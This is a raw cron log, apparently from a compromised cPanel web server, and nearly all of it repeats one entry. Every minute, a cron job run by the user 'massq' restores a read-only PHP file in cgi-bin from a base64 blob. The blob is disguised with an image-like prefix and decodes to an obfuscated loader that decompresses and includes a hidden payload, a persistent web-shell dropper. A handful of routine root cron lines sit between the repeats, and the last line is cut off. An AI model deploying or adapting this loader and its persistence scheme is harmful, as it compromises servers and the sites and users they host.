Nov 14 06:45:01 server CROND[940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:46:01 server CROND[1894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:47:01 server CROND[2904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:48:01 server CROND[3765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:49:01 server CROND[4515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:50:01 server CROND[5284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 06:50:01 server CROND[5285]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:50:01 server CROND[5287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 06:50:01 server CROND[5286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:50:01 server CROND[5288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:51:01 server CROND[6211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:52:01 server CROND[7156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:53:01 server CROND[8009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:54:01 server CROND[9026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:55:01 server CROND[9896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:55:01 server CROND[9898]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 06:55:01 server CROND[9897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 06:56:01 server CROND[10800]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:57:01 server CROND[11788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 06:57:01 server CROND[11789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 06:58:01 server CROND[12645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 